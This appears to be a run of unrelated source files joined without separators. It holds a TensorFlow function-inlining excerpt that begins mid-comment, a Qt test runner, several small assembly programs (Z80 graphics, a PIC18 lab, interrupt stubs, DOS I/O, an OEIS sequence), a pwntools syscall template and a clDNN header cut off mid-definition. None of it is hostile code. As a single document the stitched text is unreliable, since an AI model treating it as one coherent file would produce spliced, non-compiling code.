Identity node for each input. Then, we connect inputs[i] to // the i-th identity node added. The nodes that previously connected // to the j-th output of i-th arg node are reconnected to the i-th // identity node. // // The added identity nodes depend on "input_control_node". for (std::size_t i = 0; i < fbody->arg_nodes.size(); ++i) { Node* arg = node_map[fbody->arg_nodes[i]->id()]; Node* n = AddIdentity(g, inputs[i]); if (input_control_node) { g->AddControlEdge(input_control_node, n); } for (const Edge* e : arg->out_edges()) { if (e->IsControlEdge()) { g->AddControlEdge(n, e->dst()); } else { g->AddEdge(n, 0, e->dst(), e->dst_input()); } } node_map[fbody->arg_nodes[i]->id()] = n; g->RemoveNode(arg); // 'arg' is disconnected. } // Connect output edges. // // For i-th return node in fbody->graph, we add in "g" an identity // node (outputs[i-th]). We then reconnect every incoming edge into // the i-th return node to the added identity node. // // For every data edge coming out of "callee"s i-th output, we // reconnect it to the i-th identity added above. // // If "callee" is control-depended upon by any other nodes, we add a // NoOp node "output_control_node". "output_control_node" depends on // all identity nodes added above. And nodes previously depend on // "callee" is changed to depend on "output_control_node". std::vector<Node*> outputs(caller->num_outputs()); for (std::size_t i = 0; i < fbody->ret_nodes.size(); ++i) { Node* ret = node_map[fbody->ret_nodes[i]->id()]; Endpoint data; // Data input for the ret node. for (const Edge* e : ret->in_edges()) { if (!e->IsControlEdge()) { data = {e->src(), e->src_output()}; break; } } CHECK(data.node != nullptr); Node* n = AddIdentity(g, data); outputs[i] = n; for (const Edge* e : ret->in_edges()) { if (e->IsControlEdge()) { g->AddControlEdge(e->src(), n); } } g->RemoveNode(ret); // 'ret' is disconnected. } Node* output_control_node = nullptr; for (const Edge* e : caller->out_edges()) { if (e->IsControlEdge()) { if (output_control_node == nullptr) { output_control_node = AddNoOp(g); for (Node* n : outputs) { g->AddControlEdge(n, output_control_node); } } g->AddControlEdge(output_control_node, e->dst()); } else { g->AddEdge(outputs[e->src_output()], 0, e->dst(), e->dst_input()); } } g->RemoveNode(caller); // 'caller' is replaced with inlined nodes. } bool ExpandInlineFunctions(FunctionLibraryRuntime* lib, Graph* graph) { std::vector<std::pair<Node*, const FunctionBody*>> candidates; const FunctionLibraryDefinition* fld = lib->GetFunctionLibraryDefinition(); for (Node* node : graph->nodes()) { VLOG(3) << "Expanding " << node->DebugString(); bool noinline; if (fld->GetAttr(*node, kNoInlineAttr, &noinline).ok() && noinline) { VLOG(3) << "noinline: " << node->DebugString(); continue; } FunctionLibraryRuntime::Handle handle; Status s = lib->Instantiate(node->type_string(), node->attrs(), &handle); if (!s.ok()) { // Either "node" is a primitive op, or the instantiation failed. if (errors::IsNotFound(s)) { VLOG(3) << "ExpandInlineFunctions " << s; } else { LOG(ERROR) << "ExpandInlineFunctions " << s; } continue; } const FunctionBody* fbody = lib->GetFunctionBody(handle); CHECK_NOTNULL(fbody); candidates.push_back({node, fbody}); } for (const auto& p : candidates) { InlineFunctionBody(*fld, graph, p.first, p.second); } return !candidates.empty(); } string NewName(const Node* n, bool pretty) { if (pretty) { return strings::StrCat(n->type_string(), n->id()); } else { return strings::StrCat("n", n->id()); } } // TODO(zhifengc): Maybe this should be the default Graph::AsGraphDef. // and stash the original NodeDef name as an attr for documentation // purpose. void ToGraphDef(const Graph* g, GraphDef* gdef, bool pretty) { // We visit nodes in forward topological sort order, which is a // possible execution order of the graph. gtl::InlinedVector<const Edge*, 4> inputs; gdef->Clear(); gdef->mutable_versions()->CopyFrom(g->versions()); std::vector<Node*> start_nodes; for (Node* n : g->nodes()) { if (n->out_edges().empty()) { start_nodes.push_back(n); } } ReverseDFSFrom(*g, start_nodes, nullptr, [gdef, pretty, &inputs](Node* n) { if (!n->IsOp()) return; NodeDef* ndef = gdef->add_node(); ndef->set_name(NewName(n, pretty)); ndef->set_op(n->type_string()); for (const auto& attr : n->attrs()) { (*ndef->mutable_attr())[attr.first] = attr.second; } inputs.clear(); inputs.resize(n->num_inputs()); for (const Edge* e : n->in_edges()) { if (e->IsControlEdge()) { inputs.push_back(e); } else { if (inputs[e->dst_input()] == nullptr) { inputs[e->dst_input()] = e; } else { LOG(WARNING) << "Malformed graph node. multiple input edges: " << n->DebugString(); } } } // node->name() is merely NodeDef::name, which are not guaranteed // to be unique and stable after optimization rewrites. Therefore, // we use "n<node id>" instead. for (const Edge* e : inputs) { if (e == nullptr) { ndef->add_input("unknown"); continue; } const string srcname = NewName(e->src(), pretty); if (!e->src()->IsOp()) { } else if (e->IsControlEdge()) { ndef->add_input(strings::StrCat("^", srcname)); } else if (e->src_output() == 0) { ndef->add_input(srcname); } else { ndef->add_input(strings::StrCat(srcname, ":", e->src_output())); } } }); } string DebugString(const Graph* g) { GraphDef gdef; ToGraphDef(g, &gdef); return DebugString(gdef); } FunctionBody::FunctionBody(const FunctionDef& f, DataTypeSlice arg_t, DataTypeSlice ret_t, Graph* g) : fdef(f), graph(g), arg_types(arg_t.begin(), arg_t.end()), ret_types(ret_t.begin(), ret_t.end()) { this->arg_nodes.resize(arg_types.size()); this->ret_nodes.resize(ret_types.size()); for (Node* n : this->graph->op_nodes()) { gtl::InlinedVector<Node*, 4>* node_vec; if (n->type_string() == kRetOp) { node_vec = &this->ret_nodes; } else if (n->type_string() == kArgOp) { node_vec = &this->arg_nodes; } else { continue; } int index; TF_CHECK_OK(GetNodeAttr(n->attrs(), "index", &index)); CHECK_LE(0, index); CHECK_LT(index, node_vec->size()); (*node_vec)[index] = n; } } FunctionBody::~FunctionBody() { delete this->graph; } class SymbolicGradientHelper { public: explicit SymbolicGradientHelper(const FunctionBody& f) : fbody_(&f) {} ~SymbolicGradientHelper() { delete gbody_; } FunctionBody* Compute(); private: const FunctionBody* fbody_; FunctionBody* gbody_ = nullptr; // Makes a copy of fbody_ in gbody_. void Copy(); TF_DISALLOW_COPY_AND_ASSIGN(SymbolicGradientHelper); }; void SymbolicGradientHelper::Copy() { const Graph& src = *(fbody_->graph); gbody_->graph = new Graph(src.op_registry()); Graph* dst = gbody_->graph; std::vector<Node*> node_map(src.num_node_ids()); // Copy the nodes. node_map[src.source_node()->id()] = dst->source_node(); node_map[src.sink_node()->id()] = dst->sink_node(); for (Node* n : src.op_nodes()) { node_map[n->id()] = dst->CopyNode(n); } // Copy the edges. for (const Edge* e : src.edges()) { Node* src_copy = node_map[e->src()->id()]; Node* dst_copy = node_map[e->dst()->id()]; dst->AddEdge(src_copy, e->src_output(), dst_copy, e->dst_input()); } // Save inputs in copied graph. CHECK_EQ(fbody_->arg_types.size(), fbody_->arg_nodes.size()); gbody_->arg_types = fbody_->arg_types; for (std::size_t i = 0; i < fbody_->arg_nodes.size(); ++i) { gbody_->arg_nodes.push_back(node_map[fbody_->arg_nodes[i]->id()]); } // Save outputs in copied graph. CHECK_EQ(fbody_->ret_types.size(), fbody_->ret_nodes.size()); gbody_->ret_types = fbody_->ret_types; for (std::size_t i = 0; i < fbody_->ret_nodes.size(); ++i) { gbody_->ret_nodes.push_back(node_map[fbody_->ret_nodes[i]->id()]); } } FunctionBody* SymbolicGradientHelper::Compute() { CHECK(gbody_ == nullptr); gbody_ = new FunctionBody; // Copy fbody_ into gbody_. Copy(); Graph* g = gbody_->graph; const int num_y = static_cast<int>(gbody_->ret_nodes.size()); // Populate 'y_node_outputs_' with node function body outputs. // Populate 'y_grad_nodes' with initial gradient nodes for each return node of // the original function body (these will be 'arg' nodes in the function // gradient body). std::vector<NodeOut> y_node_outputs; y_node_outputs.reserve(num_y); std::vector<NodeOut> y_grad_node_outputs; y_grad_node_outputs.reserve(num_y); for (int i = 0; i < num_y; ++i) { Node* y = gbody_->ret_nodes[i]; y_node_outputs.push_back({y, 0}); DCHECK_EQ(y->type_string(), kRetOp); const DataType dtype = y->input_type(0); const int index = static_cast<int>(gbody_->arg_nodes.size()); Node* dy = AddArg(g, dtype, index); gbody_->arg_types.push_back(dtype); gbody_->arg_nodes.push_back(dy); y_grad_node_outputs.push_back({dy, 0}); } // Populate 'x_nodes' with function args (excluding 'y_grad_node_outputs'). const size_t num_x = fbody_->arg_nodes.size(); std::vector<NodeOut> x_node_outputs; x_node_outputs.reserve(num_x); for (size_t i = 0; i < fbody_->arg_nodes.size(); ++i) { x_node_outputs.push_back({gbody_->arg_nodes[i], 0}); } // Call AddSymbolicGradients which will add nodes to graph 'g' that // compute the function gradient (adding an entry in 'x_grad_node_outputs' for // each node in 'x_node_outputs'). std::vector<NodeOut> x_grad_node_outputs; TF_CHECK_OK(AddSymbolicGradients(y_node_outputs, x_node_outputs, y_grad_node_outputs, &x_grad_node_outputs, g)); // Remove the old return nodes from the function body. for (Node* n : gbody_->ret_nodes) { g->RemoveNode(n); } gbody_->ret_types = fbody_->arg_types; // TODO(apassos): use the right dtype for gradients of resource variables for (int i = 0; i < gbody_->ret_types.size(); ++i) { if (gbody_->ret_types[i] == DT_RESOURCE) { gbody_->ret_types[i] = DT_FLOAT; } } gbody_->ret_nodes.clear(); // Add new return nodes to the function gradient body for each node // in 'x_grad_nodes'. const int arg_types_size = static_cast<int>(fbody_->arg_types.size()); for (int i = 0; i < arg_types_size; ++i) { Endpoint grad = {x_grad_node_outputs[i].node, x_grad_node_outputs[i].index}; Node* ret = AddRet(g, grad, i); gbody_->ret_nodes.push_back(ret); } auto ret = gbody_; gbody_ = nullptr; return ret; } FunctionBody* SymbolicGradient(const FunctionBody& f) { return SymbolicGradientHelper(f).Compute(); } Status FunctionDefToBodyHelper( const FunctionDef& fdef, const AttrSlice& attrs, const FunctionLibraryDefinition* const lib_def, const std::function<Status(const string&, const OpDef**)>& get_func_sig, FunctionBody** fbody) { // Instantiates the function template into a graph def. InstantiationResult result; TF_RETURN_IF_ERROR(InstantiateFunction(fdef, attrs, get_func_sig, &result)); std::unique_ptr<Graph> graph(new Graph(lib_def)); GraphConstructorOptions opts; opts.allow_internal_ops = true; opts.expect_device_spec = false; TF_RETURN_IF_ERROR(ConvertNodeDefsToGraph(opts, result.nodes, graph.get())); // Call BuildControlFlowInfo to validate that this function body has // well-formed control flow. std::vector<ControlFlowInfo> dummy; TF_RETURN_IF_ERROR(BuildControlFlowInfo(graph.get(), &dummy)); *fbody = new FunctionBody(fdef, result.arg_types, result.ret_types, graph.release()); return Status::OK(); } } // end namespace tensorflow
// Copyright (c) 2009-2015 The Bitcoin Core developers // Copyright (c) 2014-2017 The Dash Core developers // Copyright (c) 2017-2018 The Cerberus Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #if defined(HAVE_CONFIG_H) #include "config/cerberus-config.h" #endif #include "util.h" #include "uritests.h" #include "compattests.h" #ifdef ENABLE_WALLET #include "paymentservertests.h" #endif #include <QCoreApplication> #include <QObject> #include <QTest> #include <openssl/ssl.h> #if defined(QT_STATICPLUGIN) && QT_VERSION < 0x050000 #include <QtPlugin> Q_IMPORT_PLUGIN(qcncodecs) Q_IMPORT_PLUGIN(qjpcodecs) Q_IMPORT_PLUGIN(qtwcodecs) Q_IMPORT_PLUGIN(qkrcodecs) #endif // This is all you need to run all the tests int main(int argc, char *argv[]) { SetupEnvironment(); bool fInvalid = false; // Don't remove this, it's needed to access // QCoreApplication:: in the tests QCoreApplication app(argc, argv); app.setApplicationName("Cerberus-Qt-test"); SSL_library_init(); URITests test1; if (QTest::qExec(&test1) != 0) fInvalid = true; #ifdef ENABLE_WALLET PaymentServerTests test2; if (QTest::qExec(&test2) != 0) fInvalid = true; #endif CompatTests test4; if (QTest::qExec(&test4) != 0) fInvalid = true; return fInvalid; }
; ; Jupiter ACE pseudo graphics routines ; Version for the 2x3 graphics symbols (UDG redefined) ; ; ; Written by Stefano Bodrato 2014 ; ; ; Reset pixel at (x,y) coordinate. ; ; ; $Id: respixl.asm,v 1.2 2016/11/21 11:18:38 stefano Exp $ ; INCLUDE "graphics/grafix.inc" SECTION code_clib PUBLIC respixel EXTERN div3 EXTERN __gfx_coords ;EXTERN base_graphics .respixel ld a,h cp maxx ret nc ld a,l cp maxy ret nc ; y0 out of range dec a dec a ld (__gfx_coords),hl push bc ld c,a ; y ld b,h ; x push bc ld hl,div3 ld d,0 ld e,c inc e add hl,de ld a,(hl) ld c,a ; y/3 srl b ; x/2 ld a,c ld c,b ; !! ;--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ;ld hl,(base_graphics) ld hl,$F000 ld b,a ; keep y/3 and a jr z,r_zero ld de,maxx/2 ; microbee is 64 columns .r_loop add hl,de dec a jr nz,r_loop .r_zero ld d,0 ld e,c add hl,de ;--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ld a,(hl) ; get current symbol from screen cp 128 jr nc,noblank ld a,128 .noblank sub 128 ld e,a ; ..and its copy ex (sp),hl ; save char address <=> restore x,y (y=h, x=l) ld a,l inc a inc a sub b sub b sub b ; we get the remainder of y/3 ld l,a ld a,1 ; the pixel we want to draw jr z,iszero bit 0,l jr nz,is1 add a,a add a,a .is1 add a,a add a,a .iszero bit 0,h jr nz,evenrow add a,a ; move down the bit .evenrow cpl and e add 128 pop hl ld (hl),a pop bc ret
;;;;;;; Lab 1 assembly program for ASEN 4067/5067 ;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; File: lab01_part04 ; Target: PIC18F87K22 ; Author: Microchip Technology Inc. ; Modified: Ruben Hinojosa Torres ; Using as reference also: main.s by Dan1138 ; lab1picas.asm by Scott Palo, Doug Weibel, and Trudy Schwartz ; Date (Original): ; Date (Mod): 2021-06-2 ; Compiler: pic-as(v2.32) ; IDE: MPLABX v5.50 ; ; ; Description: ; ; ; Compiler Notes: ; Add this line to the Compiler flags i.e ; Right click on project name -> Properties -> pic-as Global Options -> ; Additional options: ; -Wl,-presetVec=0h,-pHiPriISR_Vec=0008h,-pLoPriISR_Vec=0018h ; ; Hardware Notes: // <editor-fold defaultstate="collapsed" desc="Pin Mapping"> /* Pin | Pin Name/Register Name 1 | RH2/AN21/A18 2 | RH3/AN20/A19 3 | RE1/P2C/WR/AD9 4 | RE0/P2D/RD/AD8 5 | RG0/ECCP3/P3A 6 | RG1/TX2/CK2/AN19/C3OUT 7 | RG2/RX2/DT2/AN18/C3INA 8 | RG3/CCP4/AN17/P3D/C3INB 9 | MCLR/RG5 10 | RG4/RTCC/T7CKI(Note:2)/T5G/CCP5/AN16/P1D/C3INC 11 | VSS 12 | VDDCORE/VCAP 13 | RF7/AN5/SS1 14 | RF6/AN11/C1INA 15 | RF5/AN10/C1INB 16 | RF4/AN9/C2INA 17 | RF3/AN8/C2INB/CTMUI 18 | RF2/AN7/C1OUT 19 | RH7/CCP6(Note:3)/P1B/AN15 20 | RH6/CCP7(Note:3)/P1C/AN14/C1INC 21 | RH5/CCP8(Note:3)/P3B/AN13/C2IND 22 | RH4/CCP9(Note:2,3)/P3C/AN12/C2INC 23 | RF1/AN6/C2OUT/CTDIN 24 | ENVREG 25 | AVDD 26 | AVSS 27 | RA3/AN3/VREF+ 28 | RA2/AN2/VREF- 29 | RA1/AN1 30 | RA0/AN0/ULPWU 31 | VSS 32 | VDD 33 | RA5/AN4/T1CKI/T3G/HLVDIN 34 | RA4/T0CKI 35 | RC1/SOSC/ECCP2/P2A 36 | RC0/SOSCO/SCKLI 37 | RC6/TX1/CK1 38 | RC7/RX1/DT1 39 | RJ4/BA0 40 | RJ5/CE 41 | RJ6/LB 42 | RJ7/UB 43 | RC2/ECCP1/P1A 44 | RC3/SCK1/SCL1 45 | RC4/SDI1/SDA1 46 | RC5/SDO1 47 | RB7/KBI3/PGD 48 | VDD 49 | OSC1/CLKI/RA7 50 | OSC2/CLKO/RA6 51 | VSS 52 | RB6/KBI2/PGC 53 | RB5/KBI1/T3CKI/T1G 54 | RB4/KBI0 55 | RB3/INT3/CTED2/ECCP2(Note:1)/P2A 56 | RB2/INT2/CTED1 57 | RB1/INT1 58 | RB0/INT0/FLT0 59 | RJ3/WRH 60 | RJ2/WRL 61 | RJ1/OE 62 | RJ0/ALE 63 | RD7/SS2/PSP7/AD7 64 | RD6/SCK2/SCL2/PSP6/AD6 65 | RD5/SDI2/SDA2/PSP5/AD5 66 | RD4/SDO2/PSP4/AD4 67 | RD3/PSP3/AD3 68 | RD2/PSP2/AD2 69 | RD1/T5CKI/T7G/PSP1/AD1 70 | VSS 71 | VDD 72 | RD0/PSP0/CTPLS/AD0 73 | RE7/ECCP2/P2A/AD15 74 | RE6/P1B/CCP6(Note:3)/AD14 75 | RE5/P1C/CCP7(Note:3)/AD13 76 | RE4/P3B/CCP8(Note:3)/AD12 77 | RE3/P3C/CCP9(Note:2,3)/REF0/AD11 78 | RE2/P2B/CCP10(Note:2)/CS/AD10 79 | RH0/AN23/A16 80 | RH1/AN22/A17 Note (1) The ECCP2 pin placement depends on the CCP2MX Configuration bit setting and whether the device is in Microcontroller or Extended Microcontroller mode. (2) Not available on the PIC18F65K22 and PIC18F85K22 devices. (3) The CC6, CCP7, CCP8 and CCP9 pin placement depends on the setting of the ECCPMX Configuration bit (CONFIG3H<1>). */ // </editor-fold> ;;;;;;;;;;;;;;;;;;;;;;;;;; Assembler Directives ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Processor Definition PROCESSOR 18F87K22 ; Radix Definition RADIX DEC ; List Definition ; C: Set the page (i.e., Column) width ; N: Set the page length ; X: Turn MACRO expansion on or off ; LIST C = 160, N = 0, X = OFF ; Include File: #include <xc.inc> ; PIC18F87K22 Configuration Bit Settings // <editor-fold defaultstate="collapsed" desc="CONFIG Definitions"> ; CONFIG1L CONFIG RETEN = ON ; VREG Sleep Enable bit (Enabled) CONFIG INTOSCSEL = HIGH ; LF-INTOSC Low-power Enable bit (LF-INTOSC in ; High-power mode during Sleep) CONFIG SOSCSEL = HIGH ; SOSC Power Selection and mode Configuration bits ; (High Power SOSC circuit selected) CONFIG XINST = OFF ; Extended Instruction Set (Disabled) ; CONFIG1H CONFIG FOSC = HS1 ; Oscillator (HS oscillator ; (Medium power, 4 MHz - 16 MHz)) CONFIG PLLCFG = OFF ; PLL x4 Enable bit (Disabled) CONFIG FCMEN = OFF ; Fail-Safe Clock Monitor (Disabled) CONFIG IESO = OFF ; Internal External Oscillator Switch Over Mode ; (Disabled) ; CONFIG2L CONFIG PWRTEN = ON ; Power Up Timer (Enabled) CONFIG BOREN = ON ; Brown Out Detect (Controlled with SBOREN bit) CONFIG BORV = 1 ; Brown-out Reset Voltage bits (2.7V) CONFIG BORPWR = ZPBORMV ; BORMV Power level (ZPBORMV instead of BORMV ; is selected) ; CONFIG2H CONFIG WDTEN = OFF ; Watchdog Timer (WDT disabled in hardware; ; SWDTEN bit disabled) CONFIG WDTPS = 1048576 ; Watchdog Postscaler (1:1048576) ; CONFIG3L CONFIG RTCOSC = SOSCREF ; RTCC Clock Select (RTCC uses SOSC) CONFIG EASHFT = ON ; External Address Shift bit (Address Shifting ; enabled) CONFIG ABW = MM ; Address Bus Width Select bits (8-bit ; address bus) CONFIG BW = 16 ; Data Bus Width (16-bit external bus mode) CONFIG WAIT = OFF ; External Bus Wait (Disabled) ; CONFIG3H CONFIG CCP2MX = PORTC ; CCP2 Mux (RC1) CONFIG ECCPMX = PORTE ; ECCP Mux (Enhanced CCP1/3 [P1B/P1C/P3B/P3C] ; muxed with RE6/RE5/RE4/RE3) ; CONFIG MSSPMSK = MSK7 ; MSSP address masking (7 Bit address masking ; mode) CONFIG MCLRE = ON ; Master Clear Enable (MCLR Enabled, RG5 Disabled) ; CONFIG4L CONFIG STVREN = ON ; Stack Overflow Reset (Enabled) CONFIG BBSIZ = BB2K ; Boot Block Size (2K word Boot Block size) ; CONFIG5L CONFIG CP0 = OFF ; Code Protect 00800-03FFF (Disabled) CONFIG CP1 = OFF ; Code Protect 04000-07FFF (Disabled) CONFIG CP2 = OFF ; Code Protect 08000-0BFFF (Disabled) CONFIG CP3 = OFF ; Code Protect 0C000-0FFFF (Disabled) CONFIG CP4 = OFF ; Code Protect 10000-13FFF (Disabled) CONFIG CP5 = OFF ; Code Protect 14000-17FFF (Disabled) CONFIG CP6 = OFF ; Code Protect 18000-1BFFF (Disabled) CONFIG CP7 = OFF ; Code Protect 1C000-1FFFF (Disabled) ; CONFIG5H CONFIG CPB = OFF ; Code Protect Boot (Disabled) CONFIG CPD = OFF ; Data EE Read Protect (Disabled) ; CONFIG6L CONFIG WRT0 = OFF ; Table Write Protect 00800-03FFF (Disabled) CONFIG WRT1 = OFF ; Table Write Protect 04000-07FFF (Disabled) CONFIG WRT2 = OFF ; Table Write Protect 08000-0BFFF (Disabled) CONFIG WRT3 = OFF ; Table Write Protect 0C000-0FFFF (Disabled) CONFIG WRT4 = OFF ; Table Write Protect 10000-13FFF (Disabled) CONFIG WRT5 = OFF ; Table Write Protect 14000-17FFF (Disabled) CONFIG WRT6 = OFF ; Table Write Protect 18000-1BFFF (Disabled) CONFIG WRT7 = OFF ; Table Write Protect 1C000-1FFFF (Disabled) ; CONFIG6H CONFIG WRTC = OFF ; Config. Write Protect (Disabled) CONFIG WRTB = OFF ; Table Write Protect Boot (Disabled) CONFIG WRTD = OFF ; Data EE Write Protect (Disabled) ; CONFIG7L CONFIG EBRT0 = OFF ; Table Read Protect 00800-03FFF (Disabled) CONFIG EBRT1 = OFF ; Table Read Protect 04000-07FFF (Disabled) CONFIG EBRT2 = OFF ; Table Read Protect 08000-0BFFF (Disabled) CONFIG EBRT3 = OFF ; Table Read Protect 0C000-0FFFF (Disabled) CONFIG EBRT4 = OFF ; Table Read Protect 10000-13FFF (Disabled) CONFIG EBRT5 = OFF ; Table Read Protect 14000-17FFF (Disabled) CONFIG EBRT6 = OFF ; Table Read Protect 18000-1BFFF (Disabled) CONFIG EBRT7 = OFF ; Table Read Protect 1C000-1FFFF (Disabled) ; CONFIG7H CONFIG EBRTB = OFF ; Table Read Protect Boot (Disabled) // </editor-fold> ;;;;;;;;;;;;;;;;;;;;;;;;; MACRO Definitions ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; MACRO Definitions: ; MOVLF ; Description: ; Move literal value to given register. ; Input: ; lit: literal value ; dest: destination ; access: Access bank or not. Possible values are 'a' for access bank or ; 'b' for banked memory. MOVLF MACRO lit, dest, access MOVLW lit ; Move literal into WREG BANKSEL (dest) ; Select Bank for next file instruction MOVWF BANKMASK(dest), access ; Move WREG into destination file ENDM ;;;;;;;;;;;;;;;;;;;;;; Power-On-Reset entry point ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PSECT resetVec, class = CODE, reloc = 2 resetVec: NOP ; No Operation, give time for reset to occur goto main ; Go to main after reset ;;;;;;;;;;;;;;;;;;; Interrupt Service Routine Vectors ;;;;;;;;;;;;;;;;;;;;;;;;;; ; High Priority ISR Vector Definition: PSECT HiPriISR_Vec, class = CODE, reloc = 2 HiPriISR_Vec: GOTO $ ; Return to current Program Counter (For Now - no code here yet) ; Low Priority ISR Vector Definition: PSECT LoPriISR_Vec, class = CODE, reloc = 2 LoPriISR_Vec: GOTO $ ; Return to current Program Counter (For Now - no code here yet) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Variables ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Objects to be defined in Access Bank for Variables. ; Examples: PSECT udata_acs tmp1: DS 1 ; Reserve 1 byte for tmp1 in access bank ; Objects to be defined in Bank 1 PSECT udata_bank1 tmp2: DS 1 ; Reserve 1 byte for tmp2 in bank 1 ; Program Section: Code Starts here PSECT code ;;;;;;;;;;;;;;;;;;;;;;;;;;;; Mainline Code ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; main: CALL Initial ; Call to Initial Routine loop: ; Main Loop MOVF PORTD, w, a ; Read switch value into WREG ANDLW 00001000B ; Bitwise AND operation to isolate RD3 BZ SWT_ON ; Branch if switch is on BCF LATB, 7, a ; Otherwise turn LED RB7 off BRA RB7_OFF ; Branch to RB7_OFF to leave RB7 off and restart instruction sequence SWT_ON: BSF LATB, 7, a ; Turn LED RB7 on RB7_OFF: BRA loop ;;;;;;;;;;;;;;;;;;;;;; Initialization Routine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Initial: ; MOVLF macro examples MOVLF 11111111B, 0x00, a ; good example: moves value to 0x000 in access bank MOVLF 00001111B, 0x00, b ; bad example: moves value to 0x000, b= banked typo, but still works MOVLF 10001000B, 0x100, a ; bad example: moves value to address 0x000, sets b=1, but a=0 typo overides MOVLF 11111111B, 0x100, b ; good example: moves value to address 0x100, sets b=1 for bank 1 ; Initialization MOVLF 00000000B, TRISB, a ; Set I/O state for Port B, TRISB in access bank, use a MOVLF 00001000B, TRISD, a ; Set I/O state for Port D, TRISD in access bank, use a MOVLF 00000000B, LATB, a ; Set all Port B LED's off, LATB in access bank, use a RETURN ; Return to Mainline code END resetVec ; End program, return to reset vector
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="sig, handler"/> <%docstring> Invokes the syscall signal. See 'man 2 signal' for more information. Arguments: sig(int): sig handler(sighandler_t): handler </%docstring> ${syscall('SYS_signal', sig, handler)}
[BITS 16] [ORG 0x7C00] times 510-($-$$) db 0 dw 0xAA55
; A007290: a(n) = 2*binomial(n,3). ; 0,0,0,2,8,20,40,70,112,168,240,330,440,572,728,910,1120,1360,1632,1938,2280,2660,3080,3542,4048,4600,5200,5850,6552,7308,8120,8990,9920,10912,11968,13090,14280,15540,16872,18278,19760,21320,22960,24682,26488,28380,30360,32430,34592,36848,39200,41650,44200,46852,49608,52470,55440,58520,61712,65018,68440,71980,75640,79422,83328,87360,91520,95810,100232,104788,109480,114310,119280,124392,129648,135050,140600,146300,152152,158158,164320,170640,177120,183762,190568,197540,204680,211990,219472,227128,234960,242970,251160,259532,268088,276830,285760,294880,304192,313698 bin $0,3 mul $0,2
; define a macro, taking one parameter ; %1 accesses the first parameter. ; If the interrupt does not push an error code onto the stack ; we push a dummy one (0) %macro ISR_NOERRCODE 1 global isr%1 isr%1: cli push byte 0 push byte %1 jmp isr_common_stub %endmacro ; If the interrupt pushes an error code onto the stack %macro ISR_ERRCODE 1 global isr%1 isr%1: cli push byte %1 jmp isr_common_stub %endmacro ISR_NOERRCODE 0 ISR_NOERRCODE 1 ISR_NOERRCODE 2 ISR_NOERRCODE 3 ISR_NOERRCODE 4 ISR_NOERRCODE 5 ISR_NOERRCODE 6 ISR_NOERRCODE 7 ISR_ERRCODE 8 ISR_NOERRCODE 9 ISR_ERRCODE 10 ISR_ERRCODE 11 ISR_ERRCODE 12 ISR_ERRCODE 13 ISR_ERRCODE 14 ISR_NOERRCODE 15 ISR_NOERRCODE 16 ISR_ERRCODE 17 ISR_NOERRCODE 18 ISR_NOERRCODE 19 ISR_NOERRCODE 20 ISR_NOERRCODE 21 ISR_NOERRCODE 22 ISR_NOERRCODE 23 ISR_NOERRCODE 24 ISR_NOERRCODE 25 ISR_NOERRCODE 26 ISR_NOERRCODE 27 ISR_NOERRCODE 28 ISR_NOERRCODE 29 ISR_ERRCODE 30 ISR_NOERRCODE 31 extern isr_faultHandler isr_common_stub: pusha push ds push es push fs push gs mov ax, 0x10 ; Load the Kernel Data Segment descriptor! mov ds, ax mov es, ax mov fs, ax mov gs, ax mov eax, esp ; Push us the stack push eax mov eax, isr_faultHandler call eax ; A special call, preserves the 'eip' register pop eax pop gs pop fs pop es pop ds popa add esp, 8 ; "Cleans up" the pushed error code and pushed ISR number iret ; pops 5 things at once: CS, EIP, EFLAGS, SS, and ESP
.MODEL SMALL .DATA .CODE MAIN PROC MOV DL, '?' MOV AH, 2 INT 21h MOV AH,1 INT 21h MOV BL, AL MOV AH, 2 MOV DL, 0Dh INT 21h MOV DL, 0Ah INT 21h MOV DL, BL MOV AH, 2 INT 21h MAIN ENDP END MAIN
// Copyright (C) 2018-2021 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // /////////////////////////////////////////////////////////////////////////////////////////////////// #pragma once #include "primitive.hpp" #include <map> namespace cldnn { /// @addtogroup cpp_api C++ API /// @{ /// @addtogroup cpp_topology Network Topology /// @{ /// @addtogroup cpp_primitives Primitives /// @{ /// @brief Sample mode for the @ref resample layer. enum class resample_type : int32_t { /// @brief nearest neighbor. nearest, /// @brief bilinear interpolation. bilinear, /// @brief caffe bilinear interpolation. caffe_bilinear, /// @brief cubic interpolation. cubic, /// @brief linear onnx interpolation. linear_onnx }; /// @brief Specifies which of inputs target_spatial_shape or scales is used to calculate an output shape enum class shape_calculation_mode : int32_t { /// @brief output shape calculated based on sizes of input and output tensors sizes, /// @brief output shape calculated based on scales coefficients scales }; /// @brief Coordinate transformation mode for the @ref resample layer. enum class coordinate_transformation_mode : int32_t { /// @brief the coordinate in the original tensor axis `x` is calculated as `((x_resized + 0.5) / scale[x]) - 0.5`. half_pixel, /// @brief the coordinate in the original tensor axis `x` is calculated by `(x_resized + 0.5) / scale[x] - 0.5 if out_shape[x] > 1 else 0.0`. pytorch_half_pixel, /// @brief the coordinate in the original tensor axis `x` is calculated according to the formula `x_resized / scale[x]`. asymmetric, /// @brief the coordinate in the original tensor axis `x` is `(x_resized + 0.5) / scale[x]`. tf_half_pixel_for_nn, /// @brief the coordinate in the original tensor axis `x` is calculated as `0 if out_shape[x] == 1 else x_resized * (in_shape[x] - 1) / (out_shape[x] - 1)`. align_corners }; /// @brief Nearest mode for the @ref resample layer. enum class nearest_mode : int32_t { /// @brief this mode is known as round half down. round_prefer_floor, /// @brief it is round half up mode. round_prefer_ceil, /// @brief this mode computes the largest integer value not greater than rounded value. floor, /// @brief this mode computes the smallest integer value not less than rounded value ceil, /// @brief this mode behaves as `ceil` mode when `Interpolate` is downsample, and as dropping the fractional part otherwise. simple }; /// @brief Performs nearest neighbor/bilinear resample /// Also supports built-in Relu @ref activation available by setting it in arguments. struct resample : public primitive_base<resample> { 